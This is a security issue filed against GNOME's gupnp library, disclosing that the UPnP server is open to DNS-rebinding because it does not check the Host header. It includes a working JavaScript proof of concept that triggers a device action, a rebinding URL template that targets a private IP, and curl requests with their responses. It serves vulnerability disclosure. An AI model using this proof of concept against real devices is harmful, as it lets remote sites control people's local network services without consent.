Skip to content
GitLab
Projects Groups Topics Snippets
  • /
  • Help
    • Help
    • Support
    • Community forum
    • Submit feedback
    • Contribute to GitLab
  • Register
  • Sign in
  • gupnp gupnp
  • Project information
    • Project information
    • Activity
    • Labels
    • Members
  • Repository
    • Repository
    • Files
    • Commits
    • Branches
    • Tags
    • Contributor statistics
    • Graph
    • Compare revisions
  • Issues 25
    • Issues 25
    • List
    • Boards
    • Service Desk
    • Milestones
  • Merge requests 1
    • Merge requests 1
  • CI/CD
    • CI/CD
    • Pipelines
    • Jobs
    • Schedules
  • Deployments
    • Deployments
    • Environments
    • Releases
  • Packages and registries
    • Packages and registries
    • Container Registry
  • Monitor
    • Monitor
    • Incidents
  • Analytics
    • Analytics
    • Value stream
    • CI/CD
    • Repository
  • Wiki
    • Wiki
  • Snippets
    • Snippets
  • Activity
  • Graph
  • Create a new issue
  • Jobs
  • Commits
  • Issue Boards
Collapse sidebar
  • GNOMEGNOME
  • gupnpgupnp
  • Issues
  • #24
Closed
Open
Issue created Apr 06, 2021 by ga*****@f*****.f** via GitLab Support Bot@support-bot

Security Issue: Server does not check value of Host header

Message

Summary

The server-part of GUPNP appears to be vulnerable to DNS-rebinding attacks because it does not check the value of the Host header.

We demonstrate this using gupnp-network-light.

This code served from another web server can be used to trigger the SetLoadLevelTarget.

This need to be served using the same port as the targeted gupnp-network-light service.

function sleep(delay)
{
  return new Promise((resolve, reject) => {
    setTimeout(resolve, delay);
  });
}
async function main()
{
  while(true) {
    const response = await fetch("/Dimming/Control", {
      method: "POST",
      headers: {
        "Content-Type": "text/xml; charset=utf-8",
        "SOAPAction": '"urn:schemas-upnp-org:service:Dimming:1#SetLoadLevelTarget"',
      },
      body: `
  
    
      
        100
      
    
  `
    });
    if (response.status == 200) {
      alert("DONE!")
      return;
    }
    await sleep(1000);
  }
}
main()

We use access the malicious web server using a URL of the form:

http://a.203.0.113.24.5time.192.168.1.42.forever.3643bba7-1363-43c6-9865-2db92aaeccb3.rebind.network:38757/

where:

  • 203.0.113.24.5 is the IP address of the malicious server;
  • 192.168.1.42 is the private IP address of the gupnp-network-light service.

However we need to guess the local IP address and port of the service. We can use WebSocket based port scanning in order to do this.

This was tested on:

  • Debian testing;
  • gupnp-tools 0.10.0-2;
  • libgupnp 1.2.4-1.

Code

The following verifications are done by control_server_handler():

if (msg->method != SOUP_METHOD_POST) {
        soup_message_set_status (msg, SOUP_STATUS_NOT_IMPLEMENTED);

        return;
}

if (msg->request_body->length == 0) {
        soup_message_set_status (msg, SOUP_STATUS_BAD_REQUEST);

        return;
}

/* DLNA 7.2.5.6: Always use HTTP 1.1 */
if (soup_message_get_http_version (msg) == SOUP_HTTP_1_0) {
        soup_message_set_http_version (msg, SOUP_HTTP_1_1);
        soup_message_headers_append (msg->response_headers,
                                      "Connection",
                                      "close");
}

context = gupnp_service_info_get_context (GUPNP_SERVICE_INFO (service));

/* Get action name */
soap_action = soup_message_headers_get_one (msg->request_headers,
                                            "SOAPAction");
if (!soap_action) {
        soup_message_set_status (msg, SOUP_STATUS_PRECONDITION_FAILED);
        return;
}

action_name = strchr (soap_action, '#');
if (!action_name) {
        soup_message_set_status (msg, SOUP_STATUS_PRECONDITION_FAILED);

        return;
}

Details

Here's a normal UPnP request:

curl -D- http://192.168.1.42:38757/Dimming/Control \
    -H"Content-Type: text/xml; charset=utf-8" \
    -H'SOAPAction: "urn:schemas-upnp-org:service:Dimming:1#SetLoadLevelTarget"' \
    --data-raw '
  
    
      
        100
      
    
  
'
HTTP/1.1 200 OK
Date: Tue, 06 Apr 2021 20:05:58 GMT
Content-Type: text/xml; charset="utf-8"
Ext:
Server: Linux/5.10.0-5-amd64 UPnP/1.0 GUPnP/1.2.4
Content-Length: 285

The server does not check the Content-Type header:

curl -D- http://192.168.1.42:38757/Dimming/Control \
    -H"Content-Type: text/xml; charset=utf-8" \
    -H'SOAPAction: "urn:schemas-upnp-org:service:Dimming:1#SetLoadLevelTarget"' \
    --data-raw '
  
    
      
        100
      
    
  
'
HTTP/1.1 200 OK
Date: Tue, 06 Apr 2021 20:06:28 GMT
Content-Type: text/xml; charset="utf-8"
Ext:
Server: Linux/5.10.0-5-amd64 UPnP/1.0 GUPnP/1.2.4
Content-Length: 285

However, it mandates the usage SOAPAction header which prevents any CSRF attack:

curl -D- http://192.168.1.42:38757/Dimming/Control \
    -H"Content-Type: text/xml; charset=utf-8" \
    --data-raw '
  
    
      
        100
      
    
  
'
HTTP/1.1 412 Precondition Failed
Date: Tue, 06 Apr 2021 20:25:57 GMT
Content-Length: 0

It does not check the host header:

curl -D- http://192.168.1.42:38757/Dimming/Control \
    -H"Host: www.example.com" \
    -H"Content-Type: text/xml; charset=utf-8" \
    -H'SOAPAction: "urn:schemas-upnp-org:service:Dimming:1#SetLoadLevelTarget"' \
    --data-raw '
  
    
      
        100
      
    
  
'
HTTP/1.1 200 OK
Date: Tue, 06 Apr 2021 20:08:13 GMT
Content-Type: text/xml; charset="utf-8"
Ext:
Server: Linux/5.10.0-5-amd64 UPnP/1.0 GUPnP/1.2.4
Content-Length: 285
Edited Apr 07, 2021 by Andre Klapper
Assignee
Assign to
Time tracking